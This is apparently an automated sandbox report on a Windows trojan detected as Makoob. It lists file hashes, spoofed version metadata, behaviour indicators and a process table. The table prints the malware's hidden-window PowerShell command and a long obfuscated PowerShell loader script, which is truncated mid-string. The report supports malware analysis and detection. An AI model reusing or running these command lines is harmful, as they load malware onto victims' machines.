| File name: | SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895 |
| Full analysis: | https://app.any.run/tasks/81938e27-5091-433e-89a9-6aabb231cbbb |
| Verdict: | Malicious activity |
| Analysis date: | October 18, 2023, 16:53:32 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 64 bit) |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive |
| MD5: | F984DF11389C0024A8F193EFF46E5D1A |
| SHA1: | D1EBC1B3074960006FC2D4C3DBCB3ECCDEDB1AA0 |
| SHA256: | D085167A693942ACFEAD1AD132BF92780FD394075CB86BBA71A1739EE2D569CC |
| SSDEEP: | 98304:TUmmrOki9sgK5MN0fVngJ+verpexw7pxpqHAyb14AipeVq4SWNvjTZMPZB13Zr2b:J7NDwN1 |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 844)
SUSPICIOUS
Starts POWERSHELL.EXE for commands execution
- SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe (PID: 2280)
- powershell.exe (PID: 844)
Reads the Internet Settings
- wab.exe (PID: 2408)
Base64-obfuscated command line is found
- powershell.exe (PID: 844)
Application launched itself
- powershell.exe (PID: 844)
Checks Windows Trust Settings
- wab.exe (PID: 2408)
Reads security settings of Internet Explorer
- wab.exe (PID: 2408)
Reads settings of System Certificates
- wab.exe (PID: 2408)
Connects to unusual port
- wab.exe (PID: 2408)
Adds/modifies Windows certificates
- powershell.exe (PID: 2800)
INFO
Reads the computer name
- SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe (PID: 2280)
- wab.exe (PID: 2408)
Checks supported languages
- SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe (PID: 2280)
- wab.exe (PID: 2408)
Create files in a temporary directory
- SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe (PID: 2280)
Creates files or folders in the user directory
- SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe (PID: 2280)
Creates or changes the value of an item property via Powershell
- powershell.exe (PID: 844)
Checks proxy server information
- wab.exe (PID: 2408)
Reads the machine GUID from the registry
- wab.exe (PID: 2408)
Reads Environment values
- wab.exe (PID: 2408)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (42.2) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (37.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.8) |
| .exe | | | Win32 Executable (generic) (6) |
| .exe | | | Generic Win/DOS Executable (2.7) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2023:07:02 04:09:41+02:00 |
| ImageFileCharacteristics: | No relocs, Executable, No line numbers, No symbols, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 6 |
| CodeSize: | 25600 |
| InitializedDataSize: | 117760 |
| UninitializedDataSize: | 1024 |
| EntryPoint: | 0x34d1 |
| OSVersion: | 4 |
| ImageVersion: | 6 |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 2.0.0.0 |
| ProductVersionNumber: | 2.0.0.0 |
| FileFlagsMask: | 0x0000 |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| Comments: | Federal Mogul Corp. |
| FileVersion: | 2.0.0.0 |
| InternalName: | krigsrettens.exe |
| LegalCopyright: | Sanmina-SCI Inc |
| LegalTrademarks: | Boston Scientific Corporation |
| OriginalFileName: | krigsrettens.exe |
| ProductName: | Mattel Inc. |
| ProductVersion: | 2.0.0.0 |
Total processes
35
Monitored processes
4
Malicious processes
3
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 844 | powershell.exe -windowstyle hidden $ax = Get-Content 'C:\Users\admin\AppData\Local\manarvel\lekties\erhvervsbetonet\Driblinger\Saltpan\Hotdog\Udeerhverv\Averteringers.Lie' ; powershell.exe ''$ax'' | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 2280 | "C:\Users\admin\AppData\Local\Temp\SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe" | C:\Users\admin\AppData\Local\Temp\SecuriteInfo.com.HEUR.Trojan.Win32.Makoob.gen.10665.8895.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 2 Version: 2.0.0.0 Modules
| |||||||||||||||
| 2408 | "C:\Program Files (x86)\windows mail\wab.exe" | C:\Program Files (x86)\windows mail\wab.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Contacts Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2800 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Hardberry Intemperate Udgiftssiden #>$Unmeaningfulness = """Ro;BvFHau EnTocBytjoi FoDenMi FoIInn HdCrlVigNrnDeiBlnNigUneOmrgun LeCrsGa0 s4Pa Ar{Sh R Ky He UnpBeaMar Ha Pm c(Op[feS vtSirTaiSanTrgde]Db`$HoSAdtInrCoiLokKlmAnePrsArt JeLerObe Qn LsDi)Ru;re Sk H Ba Un`$RePKlrFyoKlkShoStfTrijve DfTrfAn Pi=Ro GNFoeSkw D-AsOBrb FjMieTecAtt P UpbInySktToe h[Ca]Fr Mi(Ov`$ USDet UrBeiFlkLim MeHos TtKleWarSte bnDisHo. ELUne FnElgTitEnhMi Su/Im Be2 B)Co;Or Si Us T PhFSkoJor N(Ho`$ScRHjeSavSueThi Bl UlGle SrPynCyeBrsMi=Ti0Es;Ad Un`$MiRBreAbvPreNei Pl LlMeeUnrMynBreEnsUn Ch- RlUntTo Cy`$ DS HtCorSaiRekElmPoeFosNotBeeArrFoe KnDusSk.UtLUne TnPagAvt Ch S;Fi Al`$eqR NePrvTeeKaiHelAnlTreTer PnVkeSwsTa+De=Tr2Ti)Ro{ H Te Ni Va Lg Se op Ca Sk`$ SPUnrAloChk ToKnfMoiFne MfSkf O[ A`$DaRAveRuvOve RiBilFalLyeBarSkn Jekos M/Te2Es]Sm Ar=Kn Ca[PtcUrohonAnvEseBur Tt N] O: K: MTSmo PBToyBetlieSf(Be`$TaSRotRerKoiEnkHamKaeBrsCrtUneTarEreOpnPusGo.MiSSuuFabResTlttor OiPrnUpgAf(Te`$EfRHoeTrvAme fiMilBrlFoeLerUtn EeHisgr,Ty an2Ho) K,Or We1 O6Pa) A;Le Dr up`$KrPStrUnoZokReoRafsuiReeprfHufli[Ko`$UnRPreFavSeeBoi DlChlSaeFurTinReeSas D/ T2Se]Ex Pl=Pe SPCar ToErpRetOce NrUnyDeg bi Pu amDa8Cr7 M8Fi Ra`$SePAarFdoSlk Fo Dfeni ReRefTafBe[No`$SaRIneHyvReeGliExlVol ReMir PnRveSasCo/Ar2Ly] U Ho2Un1Un7Br;fu Ar Fo Sy Af}Re F[ OSHetDursii BnAngHu] H[AlSdryHosHmtDyeRemDi.PeTsmeStxRetRy.OzE YnUnc SoKvdGaiPonUngBe] O:Ov:HaA aSIsC YICoIMa.BaGFieHot fS dtImrMaiKonIvgbu(fo`$StPStrHeoSekInoPrfLiiAgeUvf AfKr) S;Ka}tr`$ SRMieBisHut ZaRer PtAds F0Nr=StI Snscd blHogDin Fi DnFogHue Qr CnakePrsFo0Po4Li st'Po8GrAUnAkr0 PA SAAfABoDJeBDeCSlB T4ShFRo7BeB PD KBBe5NoBSe5No'Pi;af`$OuRGieSpsHetCaaOor utTesSe1Br=SmISpn Ad TlMrg OnHeisonUagSie BrUtnOnePlsUn0 s4Ov b'Tj9Sd4KaBSo0 TB cAHoALiBTyBKa6soAAfAHuB A6EmB BFMaAtaDCoFsm7Ti8 SEOrBIs0UnBOp7SaESpAInESyBReFCh7Wh8SiC SBBe7 MABrATiB R8SnB OFAtBSlCQu9In7SaBTr8PrAmrDFuBCh0StAbeFBrB TCBe9Ja4PaBByCBeAUnDTaBHy1FeBPr6 vB BDLiAKoAOp' D; R`$LaRpae SsUntToaRerPrtTasSa2Ti=FiISpn CdEglSlgAnn SiOmn Fg DeLerDinPeeAssKr0Bl4 B Bo'Ov9DvEAdB PCVeADdD D8Fe9prALaBDeBmo6 UBEmA H9Ro8OuBPrDtrB VD HAHiBTeBTaCMeAscAUnABoAMe'Fl; E`$ BR SelasKrtKlaJirsktSisAm3By=DeIJunSvd ilRegAcn Si BnDagfoe brWenKneFasCi0On4Re Sp'Ac8HaAUnACe0DeAAlAAlAImD PBSoCMeBMa4foFNo7 K8DiBInAUdCSeBOp7ReALaDBaBUn0TeBRe4PaBIsCReFSi7Fl9An0BuB C7FeATiDMeBBaCDiASuBVaBCi6AnAUn9 S8 VAUnB RCMeATrB FABaFHoBon0PuBPaAOmB CCTeA SA BF V7Or9Pr1 DBSh8FuBDi7JeBTrDHeBOv5TaBKaC I8 SBBeBPrCZaBboFPa'Ko; M`$JuR LeFrsAstRaa HrFotcasPe4Fe=NoIFon tdSklReg An RiZunRagsceDar On Ve OsOa0 R4Sk Tr'ReAreASlAVeDSkA MBFoB M0syB R7alBPeE S'Ko;Sk`$VeRAleApsRetGraStrSatLusBl5he= KIJon Md Al vgBenpri cnhigTrePar Sn De nsCo0 K4Mi Sa'Sk9EyEHrBAmCFrAChDOv9Mu4SaBMo6DeB ODUnAOuCPpBFa5etBAbCAr9St1FoB E8 ABUn7 VBLeDSmB U5LoBHoCPo'Sp; A`$PoRSteHesButtraCerSetaksFl6Ch=KoI UnIrdFllApgIrnSki VnAkgBeePrr Ln Be Rs T0 W4Au Ma'cr8AfBKl8beDNo8ChAHaA a9vaB TCReBCaAEkB M0StBUd8KaB H5To9Cu7haBMu8KuBWe4KyBSvCFlFBa5LaFEk9By9Tr1hyBCo0psBfiDCoBStCSh9TaBEpAPr0Py8meAumBFr0ArB OEDeFSc5adFDi9Ph8Ta9giAUsCSlB UBLaBTr5EgB j0TrBCuAPr'Ha; w`$phRBae PsNotDeaEkrCitUns K7Co=InIAbnFodSkl EgElnBui MnThgSjeRerVinMueStsSp0Ar4 R Di'In8CaBSiAFoCHoBSt7 CAReD HBKu0TrB G4 TBStCRuFre5LaFBe9Pa9sp4UmB A8OvBIr7KoBlu8BrBReE FBKoCStBBrDBu'Ya;sp`$ CR CeLesaut HagrrDetPesOp8Pl=unIChn GdAulGlgRonHeiSenLogPoe KrInnAneFosBe0Ri4Se St'Ma8SrBMeBUnChaBBoFBlBCo5ScB SCFoBOuAOcAMiDGrBReCSoB MDBr9BaDIlBNuC LBFo5KaBCoCEnBBrEUnBSp8TvACoD OBLiCTa'fr;Fa`$GgREfeDasOpt Da SrCotOusTh9Ud=TeIChnUndFolLigBenLeiNonAlgvaeSkr unRbeCosSk0Da4 C S' R9Ta0InB E7Mo9Le4LaB CCMiBep4 sB D6PuASwBUnAFa0Re9In4CnBAd6HiBDeDUnAtiC TBNa5ImBbiCDo'Ro;Bi`$ MPCurPioUgsUdcHarCaiHabUreAfrDe0Mi=TeIBynUdd SlVegpenVaiSan OgCleAsr TnVaeUnsSq0Si4Ag Ty'sk9Re4ArAEu0bl9 PDReBBlCKlBRe5 GBchCMiBdeEFoBGa8SpA SD pBChCAw8UnDAfA G0PrAEl9FoB HCAf'Sk;Sk`$ aPEbrPeoLasEkcForAui AbUne mrBi1Fo=SaI DnOpd BlomgonnCai OnBrgTieStr TnUne ssDe0 D4Fi Kv' G9UdAdiBSk5TeBFa8KiA DACuAHoAAsFOp5 LFAb9 M8Bl9doA CCDeBLiBPaB D5StBDi0stB DAUnFad5StF O9Ov8DeAApBToCBoBAd8GeBCa5MaBPsCfuBGaD UF M5alFFo9Ko9Fa8UaBTa7 FAStAReBTa0 B9GoA SB C5FrBCr8EnAGrALoACoARaFRe5MaFSm9Ta9Fr8elASkC PA WDEaBCl6St9MiAFrBsk5LiBop8NyARnA FA CA u'Un;Ar`$BuPInrSkoensArc ArEniHeb Ke IrGe2Ha=DoIRansyd SlHegSpnBaiDenUngUteanrArnBeeMesKi0tu4Pe di'Ak9Ja0ClBGe7 MAChF EBBi6SuBPa2EmBMaCBe'Ov;Pa`$OpP LrAsoVisFrcRerZaiFibGueInr P3Sk=SaI RnAnd Ql EgLonMiiManPagpaeKorPlnNeesvssk0Ve4St Sn' I8No9DaAFlCWaBBaBLbBWo5laBEg0SuBkeA IF S5HaFCe9Si9Re1ShB I0CaBMiDBiBEuCNo9FiBOvABu0Bo8 JA OBIn0SkBRaE SFPr5 JFMa9Dr9Ko7SpBInC DAAgEGu8 SAMiBTr5GnBin6biA CDCeFTu5SvF A9Tr8CrFFrBov0TeAAbBInA HDFoAYaCGeB A8ReBGl5 B'Gu; I`$ApPFlrNoo Ps dcVir IimibReeDurda4 S=HvISunStdHelSog LnEniSpnKrgSueBer TnDoeStsSk0da4Pr Se'Sa9UdA HAfuB DBFoCMaB E8CoADuD PBBaC S9MoFreB S0kaBIn5DeBCoCat9 F4QuBFi8 DA S9DaANo9SeB M0DeBRi7ToBBoEAn9Te8Ch'Af;Ov`$FePBirBhoNosSocPorAfiExbUnePrr E6By=TyIPanModPalMigMenRaiSinStgPte SrTenSpeLesKy0 D4Go Se' U9Co4 HBFo8peARe9Va8DiFOpBSy0 BBFdCVeA KEKv9Ka6SoBImFop9BiF HBMn0SuBUd5 SB TCCa'Fr;Co`$ DP Er Bo MsMic BrDei Ab yeSkrTu7pl=CaIdanBoddelRegCunAriGunHog FeKorhjnSteResCo0He4tt In'Me9Un0Dr9ToCFa8Sk1Vr'Dg;Le`$AlPInrPaoAps JcUnrSiiSwb MeSur V8Re=SiIMonIndStlstgAknMeiSmnTigLee brFunaveTasMi0Di4Br u'Va8Ur5Gk'La;Mo`$guUMon CcReoPaiStnEucPriSkdBae sn rtFa=SpI KntrdSklHigAkntiiCan eg OePlr SnIne Ss S0Sn4An Ud' H9CoC SBGa7AmASmCalBPr4Ar8 WBKaBveCPrAhyAChBVa6ChAGyCUlAAlB MBPrA BBFoCAu8 PDUtA N0InA H9FiBUnCEkASaAin8SpERi'Ca;Sa`$ReL BaTerGro TiDad M2Sa0Ti5St Va= H FrIAwnOvd DlNogBandeiTunKagFoeflrBynTaeVisUn0Gr4In Ej'SpB S2MeBSkCChAVoB fBUn7FaBTyC SBRe5SpEViAInEGrBvi'Po;InfUhu Sn Cc OtPtiReopenSo HiI En KdRelSkg BnRoiHen PgraeOrrKanApelisAc7st Se{ FPAvaFirFoaChm r St(Va`$snMSta CnFohLeaInnthdKvlJui Fnreg T2 V0Ln1Af, L Ko`$BaCWioRecGiaCocTreNuoUnu EsDo) p F un Ba Ba H;Re& P(Sv`$VoPDrrFoo FsThcAvrLaiEnb SeSarSo7Oc)Ca Ja(AvI PnRed plSeg OnvoiMonMigUkeClrHenGreGtsRe0 U4Wi An'WhFTjD G8UmAViAFoD vBRu8FoBCr7ToA T3EnBWaCsuBKo7KlFEm9ReESh4TyFsy9HeF P1In8 F2Am9Bi8 SARe9JaA T9 a9 SDKuBSu6 UBDe4ReBRe8PrBdr0GaBRr7St8Ko4UnESm3FaEMa3Op9HaABrAadCKiAReBSnA SBDeBOmCMeBMa7InAUlDSp9GlDNoB b6ArBSk4InBPr8 eBTo0 ABKa7 UFCy7 B9YpE NB rCReAerD B9 G8InAFoACaAFlAadB ECTrBUn4JaBReBOpBTr5reBTi0UnBSaCFoA DAEgFSo1KaFSh0BoFPh9GuA D5ViFEu9Hi8BaEQuBHo1AlBRoC iA ABUsBDyCanFEx4Em9Pu6VeBKoBPoBTa3LaBNvCEnBCoA RA SDCiFDy9BaA M2 JFEn9 FFSvD d8Sn6 BF K7Ra9ExEYoB S5SeBBj6KrB IB PBCh8 SBSn5Ko9Su8DuAGeAWiAStACrBfrCUnBEx4ReBAsBFdBMa5 EA N0Fr9laAUnB R8UiBPhAOmBNe1UnB BCRiF M9KeFAr4Br9 S8piBRi7FiBStDDeFPa9 OFFaDTr8 S6SoFKr7 N9In5KeBWa6UdBSuAOsBDi8CoA RDSkBBo0afB h6 TB a7SaFPa7Ca8VeANuAlg9 CBOp5SkBwh0anAGoDEgFSk1OmFDiDSt8 S9CaATrBPoBUv6EkASmAVaBAdADuAHeB SBOc0MiB UBBuB TCInAViBFeEEn1IbF V0Gr8Fo2StFSw4UnESt8Ga8un4SkF U7 S9ReCBaABl8 PANiCStB C8ReBLu5 UAJoAToFMi1AnFBlD C8WaBTrBAdCErAFoALeADuDSpBNe8 HAOkBIdAPeDAbASuAElETr9FrFYo0OpFDe9DoA e4EmFIm0MeFUd7Mo9 OESiBTiCskATeDGr8UnDPyALe0MiACi9InB CCReFCh1BlF PDDi8MoBOvBVaCSiA uAHaAToDPeBFo8SpA DBTiA WDUnATuADoEDi8prFUn0Te'Ly)Bl;Mu&Br(Te`$SePcorDooFesPrcrer OiBrbSmeFor S7Af) D Bi( AIBunSkdRel BgUnnKoiTrn TghjeSer TnSueClsRe0Ho4Da C'inFBaDPn9StDStBEn0AtBIdCSlAKrDdeAdaBHmBDu0FoBFoAAlB A1OkACoAToFTo9 FELu4SkFEy9WaFPuDUd8KvAGeADeDBlBdi8 UBSk7 GADe3GeBSeCNoB D7SeFAr7ha9StEslBteC SAcoDAn9Br4KkBDiCTrAsgDKrBDo1MaB R6ReBUnDMeFos1LiF TDSk8UnBAdB fCKoADuAMoA BDtaBvi8asA WBStABoDDeASrACoE TB TFSk5seF B9Gr8Te2Sy8SpD UAHj0FaABi9loB SCNe8To2Ya8Be4 S8Mo4AcFve9Vo9Ov9 UF K1 FF BDDi8LoB DBEdCWeAAfAPoAGrDTiBPl8BaA LBKoAHoDUnA KAPrETeAbeFFr5 FFBe9 UFLeDth8VaBStBUdC NALaA IAPsDMyBKl8ReATrBNoAReDUaADiAEuEBuDRaFLa0brFSc0Sk'ap) F;On&Jo(Ex`$EtPskr LonosBecImr Ui FbGre Pr B7 F) B Va(KoITon MdStl HgFonApiFanTtgFueTorElnAbeStsGt0Et4Ka Bu'ScAMiB CBAkCVeAWoDAuA SCChAScBIbBMu7FlF B9InFKiDPi9ShDPeB A0DrBUnCDrAAbDSaAAuB SB F0FiB KAMtBTw1RaAmoA SFOu7ha9Be0NaBPr7UgAgrFUnBUn6UtBHo2BlBEnCSuFPa1FaFchDPrBSm7FoA FCBrBop5PiBIn5OcF r5SaFOv9Un9To9UnFOv1Bt8me2 M8TiABoASt0ArA UAArATyD OBExCFaBRk4idF S7Ap8 DBBlA ICmiBVr7EnA BDOpBBr0 hBop4 IBSkC HFCo7bo9Ir0HeBSp7ChAPoDExBTuCBiANeBStB S6 KASy9Da8BoADiB MCBrA HBIdA HF PBTr0inBbiAUnBZiCFaARbA AFIn7Ud9Ju1vaB U8OrBBa7BaBHeDDiBOv5viBSaCLm8TiBBaB PC oBSpFtr8 P4GuFMa1St9St7PeB TCRuA BEUdFSc4An9St6MoBEgBsjB A3HeBSkC TBLaAkoADrDUnFWa9 F8drAFsA D0phAGsAHaATaDAfBPrCUnBUn4haFPr7Co8ScBKlACoC RB B7 bAAbDLiBRe0HaB L4twB NC IFNo7Br9 p0VgBUn7MoAPeDStBCoC aAInBChBGl6PeARu9Re8 TASkBHnCAfAMaB KADiF ABAu0KrB EA fBApCFoAKoAHeF T7Su9 B1RoB B8 TB F7plBruDSmBPu5OcB RCRa8 IBGaB JC cBheFGaF S1BiFTi1Ho9No7 DBTrCStAJoEReFer4Su9Wi6FoBPeBKaBFi3meBTiCThBFaARoAPsDFlFpr9Ph9Dd0LuBSo7UnAUhDSa8Tu9RaATeDFiAFaBBrFcl0 EF B5 PFFo9RuFBe1SoFAnDAn8WeAGrABoDUnB S8DeBSi7VeAEv3NeB vCAuBUn7 JFNa7Af9maEUfBRhCStANoDSe9Sa4UdBMiCDaAHoDTeBcr1BlBLi6LeBVaDItF E1BoF SDCa8UmBnoBByCDaA SABrAIlDViBSt8phATrByaAFrD CAFiAInE GC UFOp0VaFAn0AlFHv7Fa9Wi0ReBHy7UnAUnFVeB N6LiBRo2EuB DCNaFHe1AfFAnDVaBCo7KuAStCNuBCh5FaBGi5OpFBu5AfF P9No9Fo9PuFHy1SpF EDKi9Si4SaBst8plBLy7 TBsm1UnBGa8BeBRe7SkBMeDPeBHa5AnBHe0NoBDi7 FBQuEFlE IBFrE T9okESk8DiFSp0ChF U0 HFLe0 kFSo0EnF D5 RFBl9 VFOfDTo9FoAMeBja6DeB GACoBru8DoB AAOrBBuCSkBPu6SkABrCSkAGoASpFDr0UhF G0St'Au) T;Ba}ThfDeu AnThcPetVii MoBanFe AIEqnBidDelAvgTynPei BnPag AePerIdn KeGes D8Ov Vi{JyPBeaInr Sa FmAv Lr( I[KePSiaPrrBlaRom Renatnoe Er L( TPHaoLasuri FtTuiFooUdnFo Gi=In R0An, B AMLoaNonindCoaNetShoSur AyFj Re=Or Be`$FrTBrrRau BeBa)ko] S Se[SuTUryIipOpeDy[Tr]Fu]co eu`$BeDTryVis HeOvn OtFoeTar LiLeeKrsDi,Ex[SyP baVar FaMumQueRht Ge brTw(RePQuoMusBeiGat SiPhoAnn L bl= O Tr1Di)Mi] A M[ViTanyRupTreTe]Am Sk`$FoVaniBanBlcUduStlTou Fldra D Dy= C Si[FoVAuo PiCodSu]Hy)Li; U Gl At L Af s An.Au un Ko Og Le Ku N Be Pi Kn En(Di`$ TPTerRuofrsXec HrNaiIbb NeNor T7 A)Om g(EuI KnAddFolOrgNenFaiKan DgDeeDerRen AeExsKl0Ch4Po P'UdFTnDSa9Vi5ImBHe7ReBFo6 UATo9LeBPhEluAUvBScBAlCRaBGe5UfA HABeBGaCJoB s7SeFAt9WaEAd4WeFAn9 V8An2 M9gr8TrAMe9biAAr9Sp9JaDJeBUk6doB D4TrB O8SpBRe0PlBgr7 H8 A4BeECe3veEWo3Bi9TyAEnAPaCFaAUdBPlAPrBTrBSmCSuBGa7InACoDPr9apD SBrh6MaBAn4 kBDo8laBSo0 KB S7VuFDk7Co9 HDCoBLaCNeB RFSoBui0PaBHi7 TBEpCEr9UnDreAIn0KoBHe7 PBDu8jaBTo4NoBFo0IlBskA D9 S8SuALeAKaAFoALeBKnCSoBKo4MeBInBBoB B5eqAAp0HyFFo1BoFIa1Sk9Ny7KuBKaCPiACoEHuF S4Fa9Pl6KrB EBDoBMa3DiB ACMiBUrAReAPoDGrF O9 L8InAPaAUn0EmAKlAunAKiD TBReC EBMe4 AF U7 B8StBPiBMrCJaBUnFKlBFj5MeB GCSnBHiA AAasDFrBBe0UnB F6TiBdr7BlFHo7Se9Ma8rhAfeADaAMiAEmBBoCUnBNo4MeBTaBVeBRe5FoAKi0Ve9 F7PhBUd8DeBKa4NoBTeCsiF A1EnFSlDMi8CoB bB PCDoAMoA VALyDPjB E8 SATaBCiAbaDCaAToA sEst1PiF A0PaFFa0 PFDi5FoFDr9Pe8 A2Bo8ElAOrAKo0 FACoAFoA ED PBFgCDoBDe4EnFRh7Li8ChBMaBStC SBHeFAyB E5MaBacCFoBTrABaAbuDFiBPl0 DBSp6RkBSk7AcFPh7Mu9NoC kBPr4 pBCh0MuAFiDAkFFi7 S9Ma8 MAXyADeAHiAGoBSoCGrBUn4 ABStBRoBTi5LeABy0Fr9EfBJyASlC SBDd0KnBVe5brB BD NBWhC PAFoB S9Ar8PrBEsANoBKrA SBSmC dAKyAPaALaAHa8Ne4OpEUn3NaERe3Pa8DeB KAMuCVeB P7AkFSt0TiF V7fu9 pDNeBSuCMiBRiFStBIn0EtBRe7SaBMuCSe9 CDOmASe0AgB G7HaB E8 BBst4anBUn0 IBVeAfr9Re4tiBKe6 BBNuDOpA BCjuBCh5ReBteCloFEk1InF FDag8DuB ABPaCLyA MAExABeDBuBin8SeASoBskA BDSvAApAFaETa0KeFVa5LaF E9 IFSyDAlBMiF PBPa8CyBTe5TaAAaASnBBoCHeFMo0MuF t7 C9grD UBClCSpBUnF fBSk0 PBTr7SpB TCSp8HaDDiASk0 AA L9 SBSkCSaFNo1DoFInDIl8Fr9GuAUnB IBJa6 UA EASiBBaACoA MBUnBin0 KBStBNuBPtCPoA CBSlEKr9SaF A5TuF B9SeF FDAg8As9TeA SBChBtr6DeAFrAExB AAThAOpBTrB T0 KBGlBTiBTeCCoAImBDeE K8EfFRe5MiF T9 U8Pa2Pi8etASoA t0FrAInAChAStDBoB MCChBMi4AaFTi7Pa9Ov4giAHaCPsBSt5NuA UDSiBKa0SaBReAhuBYa8TuADeABuAReD L9UoDBaBMaCHoB K5UdBUnCSpBgyEFaBCh8SeAChDPiBVeCKu8Pl4maFwo0tv'Ov) N;am Br.Tr Su(Co`$CaPburBroSesKacSkrTiiUnbBrelurBa7Ke)An Ca( SIClnredChlEmgIdnBriClnUngnoeKsr SnSke CsFo0 B4Nu Hj'InFSkD G9Bo5cuBUs7JeBLh6 NAOp9stB GEDiAUsBovBSiC KBSo5FoABuApiBSoC OBUn7UbFBo7No9anDHmB OCIsBInFBaBFo0miBUb7BrB MCMe9DiAKlBBo6ReBRe7InA CA BAKaDsuAMeBSuASjC FBTyAKrAFaD SB U6SrADeBCoFSl1BoF TDEk8VaBAnBBaCVeASuABuA sD DBKo8BfADoBHjAStDTeAOxAKrERaF HFNi5 UFMe9Ok8Ko2 a8GeATrALi0HjA TA OAPuDDdBLoCChB P4BeFAm7Ha8MiB NBReCKoBFaFGrBAn5RaBHeCPaBRaASkARyDViB S0DlBAn6SpBKu7PrFTo7 B9ExAAnBpr8WaBbr5NeB T5 IBUn0OvBEn7 GB ME R9TeASjBSt6OvBAr7 LA DFCoBfeCPrBBo7SeATeDDaBSp0 TBKl6AlBTe7NaA nAAm8Sm4 FELn3FeECh3Mj8BaALiAFaDFyBFo8BaB G7ElBNoDUnBRe8TiA SBbaB BD pFFo5SpFfo9moF VDSu9UmDGeAOv0CyAFaATrB HCDiB O7HjAHoDSkBPoCDyATrBDoBBu0OpBjaCSkATlAImF U0stFSt7co8StAfaBUnCToA MDfy9Ju0PoBAf4InA G9PaBFd5peB DCPaBOu4FaB KC dBKa7 UAEuDBrB S8ReATyDFaBSk0 KB T6UrBFo7Ko9BeFnoBAe5CaBFo8boB FEAlA FAEsFCh1 mFToDTi8CaB CB CCTiASuAFdA PDKoBCa8 SA SBGeAVaDUnA MAGlEHeEfrFpr0Re'Ko)Fr;Vu Ou Co&St Je Ha( N`$ IP Ar So SsHacSlrreiPlbGoe SrAu7ku)Il S(UnIfinSedUel Ag Rn JiYdnSpgJee UrQun Sesps T0Ap4Sl S'InF TDSt9Ph5HeB a7 FBHi6 FASt9AlBSoEStANeBTeBFrCMaBOv5SmA SAAfBFaCJaBAn7MeFFi7Fo9 EDCaBOrCChBBoF SBLo0TaBSa7TrB SCCh9Ac4BlB OC TAGrD MBMe1NoBNo6SlBOrDinFBr1 LF ODAl8 T9RiAUnB uBun6SuAduAPaBCaAByAReBPeBFu0DeB GBWaBNaCUnA UBSmEPaBMaF C5ViFLn9RaF EDPu8Ju9HeASwBMaBOv6LeAHaAFrBBoAPaABoBChBFo0caB DBTaB BCKaAStBFiETrAskF L5SpF S9StFFaDMi8SiFSoB A0 ABDe7arBSaAocALeCScBHa5UvA DC EBMi5MoBKl8ToFLi5 CFRa9idFKoD A9peDViASk0NoACoA OBamCfaB M7TaATuDsiBUrC SA DBHaBBe0DiBSaCBuAHeAKoF L0BrF a7 T8DuAinB RCSyA CDLo9Na0SmBSa4CoA T9BeBVe5StBTeCSoBSk4PlBStCFoBJo7unA SDOpBRe8juAFrDMiBKo0BoBOu6 SBPi7 D9EgFReBSa5ChBBa8TeBCoE SALyANeFAs1OsFBlDGe8duBTaBUdCFoAEsA HA OD HBBe8IrASpB CAHjD JASkAKoESlECoFVr0Ge'Ri)Ha;Ni Kl Me Da Ma In u le& I A Em Fo Bi Ho L Fl Ha(un`$ sPVirInoLasGrcinrFdiAcbBreSarBe7Ne) C Su(FoIHnnOedGalIngRinDeiOpn SgPieRerUdn CeBosti0Fa4Vi Va'HnA RBafB iCPaAUnDVoAInCimA EBEcBRe7RoFTr9NuFhjDKa9Ig5UnBTi7SoBHa6foA I9 CBBoEHnAReBBrBLaCFaBUm5LiAOuAUdB TCGaB S7AlF A7Br9PhAAcAAnB EBDrCEsB S8EpA GD NBTjCLi8ExDFiA G0ReA E9DrB uCouFAk1CoFTr0No'En)Kn;Mi}Ba Hu. D Cy Il An Su Br Fl Li Pe R Br di Ko(ag`$FoPHar SoLys BcEdrUdiUnb bekor B7Ov)La Ui(PoIBanFrd FlFog Un Gi PnUtgPreBerPinAleRasCo0Ca4 s On'SaFKaDSkABrAAtASt9FlBSh8 WBUn7FiB S0ZoBDe6TeBHy5KaBSk0StBOx5ChBSu2PrBEs8UgBha5SeBAk6 KBJe0UnBOiD HA AAUnF I9 DELe4 PFKa9Co8Tv2Ov8SiAPeAEp0 LAHoAPrATyDKoBreCStBAg4hoFAf7Ua8RaB WATrCFoBSt7DoAGrDHyB S0FaBDe4ReBFoColF K7Ka9 U0KoB S7 VAMiDBrBDuCElAAbBUnBKr6SuABa9Ni8FoAErBDeCFoA sB 